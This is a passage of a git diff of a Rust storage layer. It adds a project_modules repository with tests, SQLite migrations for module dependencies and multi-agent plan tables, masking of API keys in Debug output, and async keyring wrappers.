"UPDATE project_modules SET \
|
||||
project_id = ?1, name = ?2, path = ?3, git_url = ?4, stack = ?5, \
|
||||
auto_detected = ?6, sort_order = ?7, updated_at = ?8 \
|
||||
WHERE id = ?9",
|
||||
params![
|
||||
r.project_id, r.name, r.path,
|
||||
r.git_url, r.stack, r.auto_detected, r.sort_order,
|
||||
r.updated_at, r.id,
|
||||
],
|
||||
)
|
||||
.map_err(storage_err)?;
|
||||
Ok(affected > 0)
|
||||
})
|
||||
.await
|
||||
.map_err(storage_err)?
|
||||
}
|
||||
|
||||
/// 按 id 硬删工程(工程不需要软删审计追溯)。
|
||||
pub async fn delete(&self, id: &str) -> Result<bool, df_types::error::Error> {
|
||||
let conn = self.conn.clone();
|
||||
let id = id.to_owned();
|
||||
tokio::task::spawn_blocking(move || {
|
||||
let guard = conn.blocking_lock();
|
||||
let affected = guard
|
||||
.execute(
|
||||
"DELETE FROM project_modules WHERE id = ?1",
|
||||
params![id],
|
||||
)
|
||||
.map_err(storage_err)?;
|
||||
Ok(affected > 0)
|
||||
})
|
||||
.await
|
||||
.map_err(storage_err)?
|
||||
}
|
||||
|
||||
/// 按项目删除全部工程(删项目时级联清理,硬删)。
|
||||
pub async fn delete_by_project(&self, project_id: &str) -> Result<bool, df_types::error::Error> {
|
||||
let conn = self.conn.clone();
|
||||
let project_id = project_id.to_owned();
|
||||
tokio::task::spawn_blocking(move || {
|
||||
let guard = conn.blocking_lock();
|
||||
let affected = guard
|
||||
.execute(
|
||||
"DELETE FROM project_modules WHERE project_id = ?1",
|
||||
params![project_id],
|
||||
)
|
||||
.map_err(storage_err)?;
|
||||
Ok(affected > 0)
|
||||
})
|
||||
.await
|
||||
.map_err(storage_err)?
|
||||
}
|
||||
}
|
||||
|
||||
// 引入 OptionalExtension 用于 query_row().optional()(避免每次写完整路径)
|
||||
use rusqlite::OptionalExtension;
|
||||
|
||||
// ============================================================
|
||||
// 单元测试 — ProjectModuleRepo CRUD(内存 DB,对标 project_service_repo 测试风格)
|
||||
// ============================================================
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
use crate::db::Database;
|
||||
|
||||
/// 建库 + 建占位 project 满足 FK 约束 + 返回 repo(对标 project_service_repo::setup)。
|
||||
async fn setup() -> (Database, ProjectModuleRepo, String) {
|
||||
let db = Database::open_in_memory().await.expect("open_in_memory");
|
||||
let project_id = "proj-test".to_string();
|
||||
db.conn()
|
||||
.blocking_lock()
|
||||
.execute(
|
||||
"INSERT INTO projects (id, name, status, path, stack, created_at, updated_at) \
|
||||
VALUES (?1, ?2, 'active', '/tmp', 'rust', '0', '0')",
|
||||
params![project_id, "Test Project"],
|
||||
)
|
||||
.expect("insert placeholder project");
|
||||
let repo = ProjectModuleRepo::new(&db);
|
||||
(db, repo, project_id)
|
||||
}
|
||||
|
||||
fn mrec(project_id: &str, name: &str, path: &str) -> ProjectModuleRecord {
|
||||
ProjectModuleRecord {
|
||||
id: format!("mod-{name}"),
|
||||
project_id: project_id.to_string(),
|
||||
name: name.to_string(),
|
||||
path: path.to_string(),
|
||||
git_url: None,
|
||||
stack: None,
|
||||
auto_detected: false,
|
||||
sort_order: 0,
|
||||
created_at: "0".to_string(),
|
||||
updated_at: "0".to_string(),
|
||||
}
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn insert_and_get_by_id_reads_back_full_fields() {
|
||||
let (_db, repo, pid) = setup().await;
|
||||
let mut rec = mrec(&pid, "frontend", "/p/frontend");
|
||||
rec.git_url = Some("https://example.com/f.git".to_string());
|
||||
rec.stack = Some(r#"{"lang":"ts"}"#.to_string());
|
||||
rec.auto_detected = true;
|
||||
rec.sort_order = 2;
|
||||
let ok = repo.insert(rec.clone()).await.expect("insert");
|
||||
assert!(ok);
|
||||
let got = repo.get_by_id(&rec.id).await.expect("get").expect("found");
|
||||
assert_eq!(got.name, "frontend");
|
||||
assert_eq!(got.path, "/p/frontend");
|
||||
assert_eq!(got.git_url.as_deref(), Some("https://example.com/f.git"));
|
||||
assert_eq!(got.stack.as_deref(), Some(r#"{"lang":"ts"}"#));
|
||||
assert!(got.auto_detected);
|
||||
assert_eq!(got.sort_order, 2);
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn list_by_project_orders_by_sort_order_asc() {
|
||||
let (_db, repo, pid) = setup().await;
|
||||
let mut a = mrec(&pid, "a", "/p/a");
|
||||
a.sort_order = 5;
|
||||
let mut b = mrec(&pid, "b", "/p/b");
|
||||
b.sort_order = 1;
|
||||
let mut c = mrec(&pid, "c", "/p/c");
|
||||
c.sort_order = 3;
|
||||
repo.insert(a).await.unwrap();
|
||||
repo.insert(b).await.unwrap();
|
||||
repo.insert(c).await.unwrap();
|
||||
let list = repo.list_by_project(&pid).await.expect("list");
|
||||
assert_eq!(list.len(), 3);
|
||||
// sort_order ASC:b(1) → c(3) → a(5)
|
||||
assert_eq!(list[0].name, "b");
|
||||
assert_eq!(list[1].name, "c");
|
||||
assert_eq!(list[2].name, "a");
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn update_full_changes_fields_and_preserves_created_at() {
|
||||
let (_db, repo, pid) = setup().await;
|
||||
let rec = mrec(&pid, "frontend", "/p/old");
|
||||
repo.insert(rec.clone()).await.unwrap();
|
||||
let original = repo.get_by_id(&rec.id).await.unwrap().unwrap();
|
||||
// 整体更新:path 变了,sort_order 变了
|
||||
let mut updated = original.clone();
|
||||
updated.path = "/p/new".to_string();
|
||||
updated.sort_order = 9;
|
||||
let hit = repo.update_full(&updated).await.expect("update");
|
||||
assert!(hit);
|
||||
let got = repo.get_by_id(&rec.id).await.unwrap().unwrap();
|
||||
assert_eq!(got.path, "/p/new");
|
||||
assert_eq!(got.sort_order, 9);
|
||||
// created_at 保留不变(update_full 不覆盖 created_at)
|
||||
assert_eq!(got.created_at, original.created_at);
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn delete_removes_record() {
|
||||
let (_db, repo, pid) = setup().await;
|
||||
let rec = mrec(&pid, "frontend", "/p/f");
|
||||
repo.insert(rec.clone()).await.unwrap();
|
||||
let hit = repo.delete(&rec.id).await.expect("delete");
|
||||
assert!(hit);
|
||||
assert!(repo.get_by_id(&rec.id).await.unwrap().is_none());
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn delete_by_project_removes_all() {
|
||||
let (_db, repo, pid) = setup().await;
|
||||
repo.insert(mrec(&pid, "a", "/p/a")).await.unwrap();
|
||||
repo.insert(mrec(&pid, "b", "/p/b")).await.unwrap();
|
||||
let hit = repo.delete_by_project(&pid).await.expect("delete_by_project");
|
||||
assert!(hit);
|
||||
assert!(repo.list_by_project(&pid).await.unwrap().is_empty());
|
||||
}
|
||||
}
|
||||
@@ -180,8 +180,10 @@ pub fn allowed_columns_for(table: &str) -> Option<&'static [&'static str]> {
|
||||
"id", "workflow_id", "node_id", "node_type", "status", "input_json", "output_json",
|
||||
"error_message", "started_at", "completed_at",
|
||||
],
|
||||
// api_key 不列入白名单:密钥写入应只走 update_full/insert + keyring 配套,
|
||||
// 禁止 update_field 旁路绕过 keyring(防明文写回 DB)。
|
||||
"ai_providers" => &[
|
||||
"id", "name", "provider_type", "api_key", "base_url", "default_model", "models",
|
||||
"id", "name", "provider_type", "base_url", "default_model", "models",
|
||||
"is_default", "config", "created_at", "updated_at",
|
||||
],
|
||||
"ai_conversations" => &[
|
||||
|
||||
@@ -437,6 +437,60 @@ impl TaskRepo {
|
||||
.map_err(storage_err)?
|
||||
}
|
||||
|
||||
/// 按 TaskQuery 条件计数(不含 limit/offset,用于分页 total)。
|
||||
///
|
||||
/// 复用 list_by_query 的 WHERE 构造逻辑(仅 WHERE,无 ORDER BY/LIMIT),
|
||||
/// 返回满足条件的总行数(忽略分页裁剪)。
|
||||
pub async fn count_by_query(&self, query: &TaskQuery) -> Result<i64> {
|
||||
let conn = self.conn.clone();
|
||||
let project_id = query.project_id.clone();
|
||||
let status = query.status.clone();
|
||||
let priority = query.priority;
|
||||
let keyword = query.keyword.clone();
|
||||
|
||||
tokio::task::spawn_blocking(move || {
|
||||
let guard = conn.blocking_lock();
|
||||
|
||||
let mut where_clauses: Vec<String> = vec!["deleted_at IS NULL".to_string()];
|
||||
let mut params_vec: Vec<Box<dyn rusqlite::ToSql>> = Vec::new();
|
||||
|
||||
if let Some(ref pid) = project_id {
|
||||
where_clauses.push(format!("project_id = ?{}", params_vec.len() + 1));
|
||||
params_vec.push(Box::new(pid.clone()));
|
||||
}
|
||||
if let Some(ref s) = status {
|
||||
where_clauses.push(format!("status = ?{}", params_vec.len() + 1));
|
||||
params_vec.push(Box::new(s.clone()));
|
||||
}
|
||||
if let Some(p) = priority {
|
||||
where_clauses.push(format!("priority = ?{}", params_vec.len() + 1));
|
||||
params_vec.push(Box::new(p));
|
||||
}
|
||||
if let Some(ref kw) = keyword {
|
||||
let escaped = kw.replace('%', "\\%").replace('_', "\\_");
|
||||
let pat = format!("%{escaped}%");
|
||||
let p1 = params_vec.len() + 1;
|
||||
let p2 = p1 + 1;
|
||||
where_clauses.push(format!("(title LIKE ?{p1} OR description LIKE ?{p2}) ESCAPE '\\'"));
|
||||
params_vec.push(Box::new(pat.clone()));
|
||||
params_vec.push(Box::new(pat));
|
||||
}
|
||||
|
||||
let sql = format!(
|
||||
"SELECT COUNT(*) FROM tasks WHERE {}",
|
||||
where_clauses.join(" AND ")
|
||||
);
|
||||
let param_refs: Vec<&dyn rusqlite::ToSql> =
|
||||
params_vec.iter().map(|p| p.as_ref()).collect();
|
||||
let count: i64 = guard
|
||||
.query_row(&sql, param_refs.as_slice(), |row| row.get(0))
|
||||
.map_err(storage_err)?;
|
||||
Ok(count)
|
||||
})
|
||||
.await
|
||||
.map_err(|e| storage_err(format!("count_by_query join failed: {e}")))?
|
||||
}
|
||||
|
||||
/// 查某父任务的全部子任务(parent_id = ?,deleted_at IS NULL),按创建时间升序。
|
||||
///
|
||||
/// 知识图谱 Phase 1 V29(对标设计 §2.1 父任务聚合规则):父任务=容器模型,status
|
||||
@@ -730,16 +784,16 @@ mod tests {
|
||||
let repo = setup().await;
|
||||
repo.insert(trec("parent", "todo", None)).await.unwrap();
|
||||
// 4 个子任务:status 分布 todo×2 / in_progress×1 / done×1(queue 统一 todo)
|
||||
repo.insert(trec_full("c1", "todo", Some("parent"), "todo"))
|
||||
repo.insert(trec_full("c1", "todo", Some("parent"), TaskStatus::Todo))
|
||||
.await
|
||||
.unwrap();
|
||||
repo.insert(trec_full("c2", "todo", Some("parent"), "todo"))
|
||||
repo.insert(trec_full("c2", "todo", Some("parent"), TaskStatus::Todo))
|
||||
.await
|
||||
.unwrap();
|
||||
repo.insert(trec_full("c3", "todo", Some("parent"), "in_progress"))
|
||||
repo.insert(trec_full("c3", "todo", Some("parent"), TaskStatus::InProgress))
|
||||
.await
|
||||
.unwrap();
|
||||
repo.insert(trec_full("c4", "todo", Some("parent"), "done"))
|
||||
repo.insert(trec_full("c4", "todo", Some("parent"), TaskStatus::Done))
|
||||
.await
|
||||
.unwrap();
|
||||
|
||||
@@ -787,7 +841,7 @@ mod tests {
|
||||
repo.insert(trec_full("parent", "todo", None, TaskStatus::Todo))
|
||||
.await
|
||||
.unwrap();
|
||||
let ok = repo.set_status_for_aggregation("parent", "in_progress");
|
||||
let ok = repo.set_status_for_aggregation("parent", "in_progress").await.unwrap();
|
||||
assert!(ok, "应命中写入");
|
||||
let after = repo.get_by_id("parent").await.unwrap().unwrap();
|
||||
assert_eq!(after.status.as_str(), "in_progress", "status 应被聚合写入更新");
|
||||
|
||||
@@ -45,7 +45,7 @@ pub fn run(conn: &Connection) -> Result<()> {
|
||||
// 什么数据库、Redis 在哪、有没有 MQ"的基础设施上下文。
|
||||
// V33 = 审批重启恢复:ai_conversations 加 pending_approvals TEXT 列,持久化挂起审批快照,
|
||||
// 重启后从 DB 恢复 pending_approvals 内存态,使待审批不丢。
|
||||
let steps: [(i32, fn(&Connection) -> Result<()>); 33] = [
|
||||
let steps: [(i32, fn(&Connection) -> Result<()>); 36] = [
|
||||
(1, migrate_v1),
|
||||
(2, migrate_v2),
|
||||
(3, migrate_v3),
|
||||
@@ -79,6 +79,9 @@ pub fn run(conn: &Connection) -> Result<()> {
|
||||
(31, migrate_v31),
|
||||
(32, migrate_v32),
|
||||
(33, migrate_v33),
|
||||
(34, migrate_v34),
|
||||
(35, migrate_v35),
|
||||
(36, migrate_v36),
|
||||
];
|
||||
|
||||
for (version, migrate_fn) in steps {
|
||||
@@ -908,7 +911,7 @@ fn migrate_v31(conn: &Connection) -> Result<()> {
|
||||
|
||||
/// V32: ai_conversations 加 pinned_goals 列(对话透明化 L1 目标钉扎持久化)
|
||||
///
|
||||
/// 对话目标由 PerConvState.pinned_goals(Vec<String>)管理,原先仅在内存态存在,
|
||||
/// 对话目标由 PerConvState.pinned_goals(Vec<GoalEntry>)管理,原先仅在内存态存在,
|
||||
/// 此迁移为其提供持久化列,默认空 JSON 数组'[]'。
|
||||
fn migrate_v32(conn: &Connection) -> Result<()> {
|
||||
conn.execute_batch(
|
||||
@@ -937,11 +940,181 @@ fn migrate_v33(conn: &Connection) -> Result<()> {
|
||||
} else {
|
||||
tracing::info!("v33: pending_approvals 列已存在,跳过");
|
||||
}
|
||||
// 任务4: workflow_executions.updated_at 列 —— 工作流执行记录更新时间戳(用于排序/增量同步/中文)。
|
||||
// 同样用 PRAGMA 探测列存在性(同 v4 模式),缺失才 ALTER;若表本身不存在(极端坏库),跳过该列不阻断迁移。
|
||||
let has_updated_at: bool = conn
|
||||
.query_row(
|
||||
"SELECT COUNT(*) > 0 FROM pragma_table_info('workflow_executions') WHERE name = 'updated_at'",
|
||||
[],
|
||||
|row| row.get(0),
|
||||
)
|
||||
.unwrap_or(false);
|
||||
if !has_updated_at {
|
||||
// workflow_executions 表在 V1 建表,此处仅加列。若表不存在(理论上 V1 必建,但坏库防御)
|
||||
// pragma_table_info 返 0 行,has_updated_at 为 false,会尝试 ALTER → 报错被跳过(下面 match)。
|
||||
match conn.execute_batch("ALTER TABLE workflow_executions ADD COLUMN updated_at TEXT;") {
|
||||
Ok(_) => tracing::info!("v33: workflow_executions 加 updated_at 列"),
|
||||
Err(e) => tracing::warn!("v33: workflow_executions.updated_at 加列失败(表不存在?)跳过: {}", e),
|
||||
}
|
||||
} else {
|
||||
tracing::info!("v33: workflow_executions.updated_at 列已存在,跳过");
|
||||
}
|
||||
conn.execute("INSERT INTO schema_version (version) VALUES (?)", [33])?;
|
||||
tracing::info!("迁移 v33 完成");
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// V34:工程系统—project_modules 表(项目多工程,每个工程独立代码仓库)
|
||||
///
|
||||
/// 一个项目可含多个工程(Monorepo 多仓库 / 微服务 / 前后端分离)。
|
||||
/// 每个工程有独立的目录(path)、Git 地址(git_url)、技术栈(stack)。
|
||||
/// 单仓库项目退化:项目下只有一个工程(path = 绑定目录)。
|
||||
///
|
||||
/// Git 状态(分支/改动/提交)是实时派生的(查 git 命令),不存表。
|
||||
fn migrate_v34(conn: &Connection) -> Result<()> {
|
||||
conn.execute(
|
||||
"CREATE TABLE IF NOT EXISTS project_modules (
|
||||
id TEXT PRIMARY KEY,
|
||||
project_id TEXT NOT NULL REFERENCES projects(id),
|
||||
name TEXT NOT NULL,
|
||||
path TEXT NOT NULL,
|
||||
git_url TEXT,
|
||||
stack TEXT,
|
||||
auto_detected BOOLEAN NOT NULL DEFAULT FALSE,
|
||||
sort_order INTEGER NOT NULL DEFAULT 0,
|
||||
created_at TEXT NOT NULL,
|
||||
updated_at TEXT NOT NULL
|
||||
)",
|
||||
[],
|
||||
)?;
|
||||
conn.execute(
|
||||
"CREATE INDEX IF NOT EXISTS idx_project_modules_project ON project_modules(project_id)",
|
||||
[],
|
||||
)?;
|
||||
tracing::info!("v34: 建 project_modules 表 + 索引(工程系统)");
|
||||
conn.execute("INSERT INTO schema_version (version) VALUES (?)", [34])?;
|
||||
tracing::info!("迁移 v34 完成");
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// V35:工程依赖关系—module_dependencies 表(工程间依赖边,用于依赖图)
|
||||
///
|
||||
/// dep_type 枚举值:library(类库) / api(API调用) / mq(消息队列) / shared(共享资源) / custom(自定义)
|
||||
fn migrate_v35(conn: &Connection) -> Result<()> {
|
||||
conn.execute(
|
||||
"CREATE TABLE IF NOT EXISTS module_dependencies (
|
||||
id TEXT PRIMARY KEY,
|
||||
project_id TEXT NOT NULL REFERENCES projects(id),
|
||||
from_module_id TEXT NOT NULL REFERENCES project_modules(id),
|
||||
to_module_id TEXT NOT NULL REFERENCES project_modules(id),
|
||||
dep_type TEXT NOT NULL DEFAULT 'library',
|
||||
label TEXT,
|
||||
created_at TEXT NOT NULL
|
||||
)",
|
||||
[],
|
||||
)?;
|
||||
conn.execute(
|
||||
"CREATE INDEX IF NOT EXISTS idx_module_deps_project ON module_dependencies(project_id)",
|
||||
[],
|
||||
)?;
|
||||
conn.execute(
|
||||
"CREATE INDEX IF NOT EXISTS idx_module_deps_from ON module_dependencies(from_module_id)",
|
||||
[],
|
||||
)?;
|
||||
conn.execute(
|
||||
"CREATE INDEX IF NOT EXISTS idx_module_deps_to ON module_dependencies(to_module_id)",
|
||||
[],
|
||||
)?;
|
||||
tracing::info!("v35: 建 module_dependencies 表 + 索引(工程依赖图)");
|
||||
conn.execute("INSERT INTO schema_version (version) VALUES (?)", [35])?;
|
||||
tracing::info!("迁移 v35 完成");
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// V36:多 Agent 并行执行数据层(ai_plans/ai_subtasks/ai_conflicts 3 新表 +
|
||||
/// ai_messages/ai_tool_executions 加 subtask_id 列)。
|
||||
/// 设计依据:docs/02-架构设计/专项设计/多Agent并行执行与仲裁合并设计-2026-07-01.md §二
|
||||
fn migrate_v36(conn: &Connection) -> Result<()> {
|
||||
// 1. ai_messages 加 subtask_id 列(消息归属子任务,NULL=单 Agent 时期)
|
||||
if !column_exists(conn, "ai_messages", "subtask_id") {
|
||||
conn.execute("ALTER TABLE ai_messages ADD COLUMN subtask_id TEXT", [])?;
|
||||
tracing::info!("v36: ai_messages 加 subtask_id 列");
|
||||
}
|
||||
|
||||
// 2. ai_tool_executions 加 subtask_id 列(工具调用归属子任务)
|
||||
if !column_exists(conn, "ai_tool_executions", "subtask_id") {
|
||||
conn.execute("ALTER TABLE ai_tool_executions ADD COLUMN subtask_id TEXT", [])?;
|
||||
tracing::info!("v36: ai_tool_executions 加 subtask_id 列");
|
||||
}
|
||||
|
||||
// 3. ai_plans 表(Plan 生命周期:用户消息触发→拆解→执行→合并→完成)
|
||||
conn.execute(
|
||||
"CREATE TABLE IF NOT EXISTS ai_plans (
|
||||
id TEXT PRIMARY KEY,
|
||||
conversation_id TEXT NOT NULL,
|
||||
user_message_id TEXT,
|
||||
status TEXT NOT NULL DEFAULT 'planning',
|
||||
subtask_count INTEGER NOT NULL DEFAULT 0,
|
||||
created_at TEXT NOT NULL,
|
||||
completed_at TEXT
|
||||
)",
|
||||
[],
|
||||
)?;
|
||||
conn.execute(
|
||||
"CREATE INDEX IF NOT EXISTS idx_ai_plans_conv ON ai_plans(conversation_id, created_at)",
|
||||
[],
|
||||
)?;
|
||||
|
||||
// 4. ai_subtasks 表(SubTask 状态 + DAG 层级 + Git worktree 分支)
|
||||
conn.execute(
|
||||
"CREATE TABLE IF NOT EXISTS ai_subtasks (
|
||||
id TEXT PRIMARY KEY,
|
||||
plan_id TEXT NOT NULL REFERENCES ai_plans(id),
|
||||
persona_id TEXT,
|
||||
intent TEXT NOT NULL DEFAULT '',
|
||||
status TEXT NOT NULL DEFAULT 'pending',
|
||||
layer INTEGER NOT NULL DEFAULT 0,
|
||||
deps TEXT,
|
||||
branch TEXT,
|
||||
created_at TEXT NOT NULL,
|
||||
completed_at TEXT
|
||||
)",
|
||||
[],
|
||||
)?;
|
||||
conn.execute(
|
||||
"CREATE INDEX IF NOT EXISTS idx_ai_subtasks_plan ON ai_subtasks(plan_id, layer)",
|
||||
[],
|
||||
)?;
|
||||
|
||||
// 5. ai_conflicts 表(合并冲突:同文件路径 + 跨文件语义冲突)
|
||||
conn.execute(
|
||||
"CREATE TABLE IF NOT EXISTS ai_conflicts (
|
||||
id TEXT PRIMARY KEY,
|
||||
plan_id TEXT NOT NULL REFERENCES ai_plans(id),
|
||||
file_path TEXT NOT NULL DEFAULT '',
|
||||
conflict_type TEXT NOT NULL DEFAULT 'file',
|
||||
subtask_a TEXT,
|
||||
subtask_b TEXT,
|
||||
diff_a TEXT,
|
||||
diff_b TEXT,
|
||||
resolution TEXT NOT NULL DEFAULT 'pending',
|
||||
resolved_by TEXT,
|
||||
created_at TEXT NOT NULL,
|
||||
resolved_at TEXT
|
||||
)",
|
||||
[],
|
||||
)?;
|
||||
conn.execute(
|
||||
"CREATE INDEX IF NOT EXISTS idx_ai_conflicts_plan ON ai_conflicts(plan_id, resolution)",
|
||||
[],
|
||||
)?;
|
||||
|
||||
tracing::info!("v36: 建 ai_plans/ai_subtasks/ai_conflicts 表 + subtask_id 列(多 Agent 并行执行数据层)");
|
||||
conn.execute("INSERT INTO schema_version (version) VALUES (?)", [36])?;
|
||||
tracing::info!("迁移 v36 完成");
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// V21 建表 SQL — 消息拆分存储 ai_messages 表
|
||||
///
|
||||
/// 与 V9_SQL 中的 ai_messages 镜像(V9 给新库,此 const 给老库 V21 迁移用 IF NOT EXISTS)。
|
||||
|
||||
@@ -280,7 +280,9 @@ pub struct NodeExecutionRecord {
|
||||
// ============================================================
|
||||
|
||||
/// AI 提供商配置记录
|
||||
#[derive(Debug, Clone, Serialize, Deserialize)]
|
||||
///
|
||||
/// 自定义 Debug: api_key 脱敏为 `"sk-****"`, model_configs / config 脱敏为 `"***"`。
|
||||
#[derive(Clone, Serialize, Deserialize)]
|
||||
pub struct AiProviderRecord {
|
||||
pub id: String,
|
||||
pub name: String,
|
||||
@@ -308,6 +310,27 @@ pub struct AiProviderRecord {
|
||||
pub weight: u32,
|
||||
}
|
||||
|
||||
impl std::fmt::Debug for AiProviderRecord {
|
||||
fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
|
||||
f.debug_struct("AiProviderRecord")
|
||||
.field("id", &self.id)
|
||||
.field("name", &self.name)
|
||||
.field("provider_type", &self.provider_type)
|
||||
.field("api_key", &"sk-****")
|
||||
.field("base_url", &self.base_url)
|
||||
.field("default_model", &self.default_model)
|
||||
.field("models", &self.models)
|
||||
.field("model_configs", &"***")
|
||||
.field("is_default", &self.is_default)
|
||||
.field("config", &"***")
|
||||
.field("created_at", &self.created_at)
|
||||
.field("updated_at", &self.updated_at)
|
||||
.field("enabled", &self.enabled)
|
||||
.field("weight", &self.weight)
|
||||
.finish()
|
||||
}
|
||||
}
|
||||
|
||||
/// AiProviderRecord.enabled 的 serde 默认(true)。老库/缺字段 JSON → enabled。
|
||||
fn default_enabled() -> bool {
|
||||
true
|
||||
@@ -337,7 +360,7 @@ pub struct AiConversationRecord {
|
||||
pub pinned: bool, // 是否置顶(排序置前;UX-17)
|
||||
pub prompt_tokens: Option<i64>, // 输入 token 累计(流式 usage 落库)
|
||||
pub completion_tokens: Option<i64>, // 输出 token 累计(流式 usage 落库)
|
||||
pub pinned_goals: Option<String>, // 对话目标钉扎持久化(JSON 字符串数组,默认'[]')
|
||||
pub pinned_goals: Option<String>, // 对话目标钉扎持久化(JSON GoalEntry 数组 [{text,status}],兼容旧 ["text"] 格式,默认'[]')
|
||||
pub pending_approvals: Option<String>, // 挂起审批快照(JSON 对象,以 tool_call_id 为键,默认'{}')
|
||||
pub created_at: String,
|
||||
pub updated_at: String,
|
||||
@@ -441,3 +464,95 @@ pub struct KnowledgeEventRecord {
|
||||
pub context_json: Option<String>, // JSON: 因 event_type 而异
|
||||
pub timestamp: String,
|
||||
}
|
||||
|
||||
/// 工程记录(project_modules 表,项目多工程,每个工程独立代码仓库)
|
||||
///
|
||||
/// 一个项目可含多个工程(Monorepo 多仓库 / 微服务 / 前后端分离)。
|
||||
/// 每个工程有独立的目录(`path`)、Git 地址(`git_url`)、技术栈(`stack`)。
|
||||
/// Git 状态(分支/改动/提交)是实时派生的(查 git 命令),不存表。
|
||||
#[derive(Debug, Clone, Serialize, Deserialize)]
|
||||
pub struct ProjectModuleRecord {
|
||||
pub id: String,
|
||||
pub project_id: String,
|
||||
pub name: String,
|
||||
pub path: String,
|
||||
pub git_url: Option<String>,
|
||||
pub stack: Option<String>, // 技术栈 JSON 字符串
|
||||
pub auto_detected: bool,
|
||||
pub sort_order: i32,
|
||||
pub created_at: String,
|
||||
pub updated_at: String,
|
||||
}
|
||||
|
||||
/// 工程依赖关系记录(V35 module_dependencies 表)。
|
||||
#[derive(Debug, Clone, Serialize, Deserialize, Default)]
|
||||
pub struct ModuleDependencyRecord {
|
||||
pub id: String,
|
||||
pub project_id: String,
|
||||
pub from_module_id: String,
|
||||
pub to_module_id: String,
|
||||
/// 依赖类型:library / api / mq / shared / custom
|
||||
pub dep_type: String,
|
||||
/// 可选标签(自定义描述)
|
||||
pub label: Option<String>,
|
||||
pub created_at: String,
|
||||
}
|
||||
|
||||
// ============================================================
|
||||
// 多 Agent 并行执行模型 (V36)
|
||||
// ============================================================
|
||||
|
||||
/// Plan 记录(一次用户消息触发的并行执行计划)
|
||||
#[derive(Debug, Clone, Serialize, Deserialize)]
|
||||
pub struct PlanRecord {
|
||||
pub id: String,
|
||||
pub conversation_id: String,
|
||||
/// 触发 Plan 的用户消息 id
|
||||
pub user_message_id: Option<String>,
|
||||
/// planning / executing / merging / done / error
|
||||
pub status: String,
|
||||
pub subtask_count: i64,
|
||||
pub created_at: String,
|
||||
pub completed_at: Option<String>,
|
||||
}
|
||||
|
||||
/// SubTask 记录(Plan 拆解出的子任务)
|
||||
#[derive(Debug, Clone, Serialize, Deserialize)]
|
||||
pub struct SubTaskRecord {
|
||||
pub id: String,
|
||||
pub plan_id: String,
|
||||
/// 分配的人设 id(coder/reviewer/architect/tester/analyst)
|
||||
pub persona_id: Option<String>,
|
||||
/// 子任务意图描述
|
||||
pub intent: String,
|
||||
/// pending / running / done / error
|
||||
pub status: String,
|
||||
/// DAG 层级(0 起)
|
||||
pub layer: i64,
|
||||
/// 依赖的 SubTask id 列表(JSON 数组字符串)
|
||||
pub deps: Option<String>,
|
||||
/// Git worktree 分支名(NULL=非 Git 工程降级串行)
|
||||
pub branch: Option<String>,
|
||||
pub created_at: String,
|
||||
pub completed_at: Option<String>,
|
||||
}
|
||||
|
||||
/// 冲突记录(合并时检测到的文件/语义冲突)
|
||||
#[derive(Debug, Clone, Serialize, Deserialize)]
|
||||
pub struct ConflictRecord {
|
||||
pub id: String,
|
||||
pub plan_id: String,
|
||||
pub file_path: String,
|
||||
/// file(同文件路径) / semantic(编译失败)
|
||||
pub conflict_type: String,
|
||||
pub subtask_a: Option<String>,
|
||||
pub subtask_b: Option<String>,
|
||||
pub diff_a: Option<String>,
|
||||
pub diff_b: Option<String>,
|
||||
/// pending / a / b / merged / manual
|
||||
pub resolution: String,
|
||||
/// reviewer / user
|
||||
pub resolved_by: Option<String>,
|
||||
pub created_at: String,
|
||||
pub resolved_at: Option<String>,
|
||||
}
|
||||
|
||||
@@ -101,6 +101,18 @@ pub fn get_provider_secret(id: &str) -> Option<String> {
|
||||
}
|
||||
}
|
||||
|
||||
/// [`get_provider_secret`] 的 async 版本:`spawn_blocking` 隔离同步 keyring 调用。
|
||||
///
|
||||
/// keyring 在 Linux secret-service D-Bus / Windows COM / macOS Keychain 同步阻塞,直接在
|
||||
/// async 上下文调用会卡 tokio runtime(Tauri 单线程 runtime 尤其敏感)。async 路径优先用此版本;
|
||||
/// 同步版保留供 block_on / 非 async 路径(迁移、测试)使用。
|
||||
pub async fn get_provider_secret_async(id: String) -> Option<String> {
|
||||
tokio::task::spawn_blocking(move || get_provider_secret(&id))
|
||||
.await
|
||||
.ok()
|
||||
.flatten()
|
||||
}
|
||||
|
||||
/// 消费点用:解析 provider 真实密钥 — DB 优先,fallback keyring(兼容未迁移老库)
|
||||
pub fn resolve_provider_secret(record: &AiProviderRecord) -> String {
|
||||
if !record.api_key.is_empty() {
|
||||
@@ -109,18 +121,43 @@ pub fn resolve_provider_secret(record: &AiProviderRecord) -> String {
|
||||
get_provider_secret(&record.id).unwrap_or_default()
|
||||
}
|
||||
|
||||
/// [`resolve_provider_secret`] 的 async 版本 — DB 有明文时同步返(不触 keyring),
|
||||
/// 否则 `spawn_blocking` 调 keyring 防 D-Bus / COM 阻塞 tokio runtime。
|
||||
///
|
||||
/// 注:DB 明文路径直接 clone 同步返,只有 fallback keyring 才走 spawn_blocking。
|
||||
pub async fn resolve_provider_secret_async(record: AiProviderRecord) -> String {
|
||||
if !record.api_key.is_empty() {
|
||||
return record.api_key;
|
||||
}
|
||||
get_provider_secret_async(record.id).await.unwrap_or_default()
|
||||
}
|
||||
|
||||
/// 写入密钥到 keyring(覆盖)
|
||||
pub fn set_provider_secret(id: &str, key: &str) -> anyhow::Result<()> {
|
||||
let entry = entry_for(id)?;
|
||||
entry.set_password(key).map_err(|e| anyhow::anyhow!("keyring 写入失败(provider={}): {}", id, e))
|
||||
}
|
||||
|
||||
/// [`set_provider_secret`] 的 async 版本(`spawn_blocking` 隔离同步 keyring 调用)。
|
||||
pub async fn set_provider_secret_async(id: String, key: String) -> anyhow::Result<()> {
|
||||
tokio::task::spawn_blocking(move || set_provider_secret(&id, &key))
|
||||
.await
|
||||
.map_err(|e| anyhow::anyhow!("set_provider_secret join 失败: {}", e))?
|
||||
}
|
||||
|
